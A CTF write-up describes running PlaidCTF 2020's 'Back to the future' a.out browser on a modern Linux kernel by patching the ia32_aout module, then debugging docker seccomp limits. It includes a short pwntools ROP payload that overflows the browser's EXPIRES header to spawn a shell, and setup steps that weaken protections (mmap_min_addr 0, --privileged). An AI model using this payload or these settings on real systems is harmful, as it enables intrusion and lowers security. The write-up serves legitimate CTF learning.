# How to Debug `Back to the future` / How to run an aout-format program on modern linux kernel ###### tags: `ctf` `plaidctf` `kernel` `linux` ## Prologue `Back to the future` is a pwnable challenge in PlaidCTF 2020. If you are interested, check out Dragon Sector's writeup: <https://blog.dragonsector.pl/2020/04/plaidctf-2020-back-to-future.html>. Dragon Sector's solution is really impressive: take this challenge as a blind pwnable challenge and do ROP without debugging! However, doing exploit without a debugger is painful to me :( When playing this challenge during the competition, I thought setting up an environment to debug the aout-format executable would be fun, and of course, it turned out a time-consuming process. This post will talk about what I did to debug the old browser. ## Recon After trying to run the program on my VM(Ubuntu 18.04), I found it's an aout-format binary and the current kernel does not support it. Just `nc -lvp [port]` then submit our url to the server, we got some interesting information (picture from my teammate @hzshang): ![](https://i.imgur.com/n336Nhf.png) We were really surprised, 5.3.0! ## Ideas After googling about aout format, we came up with several ideas: 1. Find an outdated linux distribution, which might support aout-format program 2. Compile a kernel with aout support enabled 3. Find/Make a custom loader to simulate aout About idea `3`, We tried freebsd's `Linux Binary Compatibility` feature and failed at once. Maybe it is feasible, but I am a freebsd noob :( In addition, I tried to convert the aout binary to an elf via `objcopy` but it crashed in `ld.so`, which was considered troublesome to handle by myself. ## Try an old kernel According to this [post](https://www.jwz.org/blog/2008/03/happy-run-some-old-web-browsers-day), we tried [Ubuntu 7.10](http://old-releases.ubuntu.com/releases/gutsy/ubuntu-7.10-desktop-i386.iso) and succeeded. My teammates tried Ubuntu 4.10 and it also worked. The old distribution is not as user-friendly as nowdays'. For example, you need to set the old-release apt source manually. Then, we started to do bug hunting and exploit. Finally, my teammates solved it by rop+shellcode. Coincidentally, we used the `EXPIRES` vulnerability too :) ## Standard answer? As you see, it's no doubt the challenge author compiled a kernel with aout support. How did he/she make it? Actually, google told us the key point was the `ia32_aout` kernel module and it could be built as an LKM according to [the AUR page](https://aur.archlinux.org/packages/ia32_aout/). Just install the kernel and header files via apt, compile the LKM, insmod it, then we can run it. Firstly, I got `During startup program terminated with signal SIGSEGV, Segmentation fault`, and strace told me : ``` execve("../back_to_the_future", ["../back_to_the_future"], 0x7ffd5bd7f5c0 /* 106 vars */) = -1 EPERM (Operation not permitted) --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} --- +++ killed by SIGSEGV +++ ``` I realized the aout-format binary maps its code page at 0. It's not a problem to CTF players! Just set the `vm.mmap_min_addr` to 0. Then, we got segmentation fault again! What??? ![](https://i.imgur.com/hS8AEgF.png) Why? I was confused. We could read/write the memory from 0 to 0x224000 in gdb but`si/ni` failed. I tried strace again: ``` execve("../back_to_the_future", ["../back_to_the_future"], 0x7ffc28f85a80 /* 106 vars */) = 0 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=NULL} --- +++ killed by SIGSEGV +++ ``` The `si_code` is `SEGV_ACCERR` instead of `SEGV_KERNEL`, I guessed: the user-mode memory was allocated successfully, it's readable/writable but not executable? ## Kernel debugging To find out the reason, I started to read the [source code](https://github.com/torvalds/linux/blob/master/arch/x86/ia32/ia32_aout.c). After code reading and debugging, I found this `ZMAGIC`-style aout-format binary save the code at file offset 0x400: ```c=196 if (!bprm->file->f_op->mmap || (fd_offset & ~PAGE_MASK) != 0) { error = vm_brk(N_TXTADDR(ex), ex.a_text+ex.a_data); if (error) return error; read_code(bprm->file, N_TXTADDR(ex), fd_offset, ex.a_text+ex.a_data); goto beyond_if; } error = vm_mmap(bprm->file, N_TXTADDR(ex), ex.a_text, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE | MAP_32BIT, fd_offset); ``` `fd_offset` is 0x400, so this branch will be taken. The user-mode memory is allocated by `vm_brk`. I am a kernel noob and I know nothing about `vm_brk`, so I explored it via <https://elixir.bootlin.com/linux/>. After some mouse clicks, I found the calling chain: `vm_brk(addr, size)` -> `vm_brk_flags(addr, size, flags=0)`. I guessed the `flags` mean memory `rwx` attributes so I patched line 197 to something like `vm_brk_flags(addr, size, 7)`. However, I got segmentation fault again, and strace told me another different fault reason: ``` execve("../back_to_the_future", ["../back_to_the_future"], 0x7ffd07d9d420 /* 106 vars */) = -1 EINVAL (Invalid argument) --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} --- +++ killed by SIGSEGV +++ ``` `Invalid argument` ? Well, I thought I needed more code reading. Then I found `vm_brk_flags` redirect the memory request to `do_brk_flags(addr, size, 0, ...)`. There's something interesting in the comment of `do_brk_flags`: ```c=2985 /* * this is really a simplified "do_mmap". it only handles * anonymous maps. eventually we may be able to do some * brk-specific accounting here. */ static int do_brk_flags(unsigned long addr, unsigned long len, unsigned long flags, struct list_head *uf) { struct mm_struct *mm = current->mm; struct vm_area_struct *vma, *prev; struct rb_node **rb_link, *rb_parent; pgoff_t pgoff = addr >> PAGE_SHIFT; int error; unsigned long mapped_addr; /* Until we need other flags, refuse anything except VM_EXEC. */ if ((flags & (~VM_EXEC)) != 0) return -EINVAL; ``` OK, `7(rwx)` is disallowed and `VM_EXEC` is enough. So I patched the line 197 to `error = vm_brk_flags(N_TXTADDR(ex), ex.a_text+ex.a_data, VM_EXEC);`. Then the web browser popped up: ![](https://i.imgur.com/yyKToi3.png) Cool! Now you can hack it with a debugger. ## Why `system` did not work After some debugging, I found `ecx` pointed to the input buffer so I made a very naive rop chain: ```python from pwn import * system = 0x60031A80 rev = 'sh${IFS}<&4${IFS}>&4;qq#' push_ecx_call_ebx = 0x60041748 pop_ebx_ret = 0x600426A4 payload = '''HTTP/1.0 200 OK\nEXPIRES: {} {} {}\n'''.format('A'*0x100, 'aa-' + rev.ljust(293, "a") + p32(pop_ebx_ret) + p32(system) + p32(push_ecx_call_ebx) + p32(0x41414141), 'C'*0x200) ``` It worked in on my local VM but failed at the remote one. Why? I guessed the organizers executed the browser in a docker container, maybe there's something different. I started a docker container and copied the files into it, then got an error like `can't load dynamic linker`. Strace told me: ![](https://i.imgur.com/TPclBs3.png) It seems that `uselib` syscall is disallowed in docker containter. It's not a problem to CTF players: I started another container with `--privileged` then everything worked fine, so did my exploit. I was confused again. Suddenly, my teammate @birdsong told me docker has a default seccomp filter when `--privileged` is not enbabled: <https://github.com/moby/moby/blob/master/profiles/seccomp/default.json>. We guessed the challenge author only add a whitelist entry for the `uselib` syscall. I tried to start a container with a custom seccomp config file: ``` docker run -itd -v $(pwd):/root/shared --security-opt seccomp=qqq.json --name qqq ubuntu:18.04 /bin/bash ``` Strace again, then I knew the secret: the outdated `sigaction` syscall is disallowed in the docker default seccomp filter, which is however necessary to the `system` implementation of the outdated `libc.so.4`. (Modern libc uses `rt_sigaction`) ![](https://i.imgur.com/KMdCxfv.png) ## Future work(?) Thanks to team PPP and the author of `back to the future`. It's interesting to patch the kernel module to run an outdated web browser on modern linux distribution :) There is still a problem: when did the `ia32_aout` driver stop working? Maybe we can explore in the git commit log. If you know, don't hesitate to share it with me ;)